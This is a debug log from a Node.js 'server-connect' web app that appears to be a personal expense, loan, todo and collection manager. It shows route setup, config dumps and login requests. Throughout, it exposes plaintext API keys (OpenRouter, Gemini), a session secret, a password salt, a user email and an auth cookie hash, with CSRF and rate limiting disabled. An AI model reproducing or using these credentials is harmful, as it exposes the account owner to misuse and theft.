2026-04-29T08:19:18.412Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-29T08:19:18.413Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-29T08:19:18.413Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-29T08:19:18.414Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-29T08:19:18.414Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-29T08:19:18.414Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-29T08:19:18.415Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-29T08:19:18.415Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-29T08:19:18.415Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-29T08:19:18.415Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-29T08:19:18.416Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-29T08:19:18.416Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-29T08:19:18.416Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-29T08:19:18.417Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-29T08:19:18.417Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-29T08:19:18.417Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-29T08:19:18.418Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-29T08:19:18.418Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-29T08:19:18.418Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-29T08:19:18.419Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-29T08:19:18.521Z server-connect:router Serving templateView /
2026-04-29T08:19:18.523Z server-connect:app Executing action step identify
2026-04-29T08:19:18.523Z server-connect:app options: { provider: 'security' }
2026-04-29T08:19:18.526Z server-connect:auth No login cookie found
2026-04-29T08:19:18.526Z server-connect:output identity: false
2026-04-29T08:19:18.526Z server-connect:app Executing action step restrict
2026-04-29T08:19:18.526Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-29T08:19:18.530Z server-connect:output restrict: undefined
2026-04-29T08:19:21.326Z server-connect:router Serving templateView /login
2026-04-29T08:19:21.327Z server-connect:app Executing action step identify
2026-04-29T08:19:21.327Z server-connect:app options: { provider: 'security' }
2026-04-29T08:19:21.327Z server-connect:auth No login cookie found
2026-04-29T08:19:21.327Z server-connect:output identity: false
2026-04-29T08:19:21.327Z server-connect:router Render template layouts/authentication
2026-04-29T08:19:21.328Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '138.197.1.125',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-30T08:19:21.325Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '138.197.1.125',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '138.197.1.125',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-30T09:03:16.553Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-30T09:03:18.826Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-30T09:03:19.687Z server-connect:setup:upload Upload middleware configured.
2026-04-30T09:03:19.687Z server-connect:secure CSRF Protection initialized
2026-04-30T09:03:19.691Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-30T09:03:19.694Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-30T09:03:19.694Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-30T09:03:19.697Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-30T09:03:19.704Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-30T09:03:19.708Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-30T09:03:19.721Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-30T09:03:19.735Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-30T09:03:19.739Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-30T09:03:19.740Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-30T09:03:19.742Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-30T09:03:19.747Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-30T09:03:19.751Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-30T09:03:19.763Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-30T09:03:19.768Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-30T09:03:19.840Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-30T09:03:19.841Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-30T09:03:19.845Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-30T09:03:19.852Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-30T09:03:19.855Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-30T09:03:19.857Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-30T09:03:19.866Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-30T09:03:19.867Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-30T09:03:19.872Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-30T09:03:19.876Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-30T09:03:19.878Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-30T09:03:19.880Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-30T09:03:19.883Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-30T09:03:19.888Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-30T09:03:19.890Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-30T09:03:19.892Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-30T09:03:19.894Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-30T09:03:19.898Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-30T09:03:19.901Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-30T09:03:19.906Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-30T09:03:19.910Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-30T09:03:19.913Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-30T09:03:19.922Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-30T09:03:50.469Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-30T09:03:50.644Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-30T09:03:50.730Z server-connect:setup:upload Upload middleware configured.
2026-04-30T09:03:50.730Z server-connect:secure CSRF Protection initialized
2026-04-30T09:03:50.732Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-30T09:03:50.734Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-30T09:03:50.734Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-30T09:03:50.735Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-30T09:03:50.735Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-30T09:03:50.736Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-30T09:03:50.737Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-30T09:03:50.738Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-30T09:03:50.743Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-30T09:03:50.743Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-30T09:03:50.743Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-30T09:03:50.744Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-30T09:03:50.744Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-30T09:03:50.744Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-30T09:03:50.745Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-30T09:03:50.745Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-30T09:03:50.745Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-30T09:03:50.746Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-30T09:03:50.746Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-30T09:03:50.746Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-30T09:03:50.746Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-30T09:03:50.747Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-30T09:03:50.747Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-30T09:03:50.747Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-30T09:03:50.747Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-30T09:03:50.748Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-30T09:03:50.748Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-30T09:03:50.748Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-30T09:03:50.748Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-30T09:03:50.749Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-30T09:03:50.749Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-30T09:03:50.749Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-30T09:03:50.749Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-30T09:03:50.749Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-30T09:03:50.750Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-30T09:03:50.750Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-30T09:03:50.750Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-30T09:03:50.750Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-01T04:48:17.635Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-01T04:48:19.908Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-01T04:48:20.771Z server-connect:setup:upload Upload middleware configured.
2026-05-01T04:48:20.772Z server-connect:secure CSRF Protection initialized
2026-05-01T04:48:20.776Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-01T04:48:20.779Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-01T04:48:20.779Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-01T04:48:20.783Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-01T04:48:20.791Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-01T04:48:20.792Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-01T04:48:20.806Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-01T04:48:20.819Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-01T04:48:20.824Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-01T04:48:20.824Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-01T04:48:20.827Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-01T04:48:20.831Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-01T04:48:20.837Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-01T04:48:20.847Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-01T04:48:20.851Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-01T04:48:20.923Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-01T04:48:20.925Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-01T04:48:20.929Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-01T04:48:20.935Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-01T04:48:20.939Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-01T04:48:20.941Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-01T04:48:20.948Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-01T04:48:20.950Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-01T04:48:20.956Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-01T04:48:20.958Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-01T04:48:20.962Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-01T04:48:20.964Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-01T04:48:20.966Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-01T04:48:20.971Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-01T04:48:20.974Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-01T04:48:20.977Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-01T04:48:20.977Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-01T04:48:20.983Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-01T04:48:20.986Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-01T04:48:20.992Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-01T04:48:20.995Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-01T04:48:20.997Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-01T04:48:21.007Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-01T04:48:21.495Z server-connect:router Serving templateView /
2026-05-01T04:48:21.498Z server-connect:app Executing action step identify
2026-05-01T04:48:21.498Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:21.500Z server-connect:auth No login cookie found
2026-05-01T04:48:21.500Z server-connect:output identity: false
2026-05-01T04:48:21.500Z server-connect:app Executing action step restrict
2026-05-01T04:48:21.500Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T04:48:21.505Z server-connect:output restrict: undefined
2026-05-01T04:48:21.713Z server-connect:router Serving templateView /login
2026-05-01T04:48:21.713Z server-connect:app Executing action step identify
2026-05-01T04:48:21.713Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:21.713Z server-connect:auth No login cookie found
2026-05-01T04:48:21.713Z server-connect:output identity: false
2026-05-01T04:48:21.714Z server-connect:router Render template layouts/authentication
2026-05-01T04:48:21.714Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-02T04:48:21.711Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-01T04:48:27.581Z server-connect:router Serving serverConnect /api/access-control/login
2026-05-01T04:48:27.582Z server-connect:app Executing action step identify
2026-05-01T04:48:27.582Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:27.582Z server-connect:auth No login cookie found
2026-05-01T04:48:27.582Z server-connect:output identity: false
2026-05-01T04:48:27.582Z server-connect:app Executing action step login
2026-05-01T04:48:27.582Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-05-01T04:48:27.589Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-05-01T04:48:27.644Z server-connect:output identity: 1
2026-05-01T04:48:27.644Z server-connect:app Executing action step restrict
2026-05-01T04:48:27.644Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:48:27.645Z server-connect:output restrict: undefined
2026-05-01T04:48:27.872Z server-connect:router Serving templateView /
2026-05-01T04:48:27.872Z server-connect:app Executing action step identify
2026-05-01T04:48:27.872Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:27.872Z server-connect:output identity: 1
2026-05-01T04:48:27.873Z server-connect:app Executing action step restrict
2026-05-01T04:48:27.873Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T04:48:27.873Z server-connect:output restrict: undefined
2026-05-01T04:48:27.873Z server-connect:app Executing action step restrict
2026-05-01T04:48:27.873Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T04:48:27.874Z server-connect:output restrict: undefined
2026-05-01T04:48:27.875Z server-connect:router Render template layouts/main
2026-05-01T04:48:27.875Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
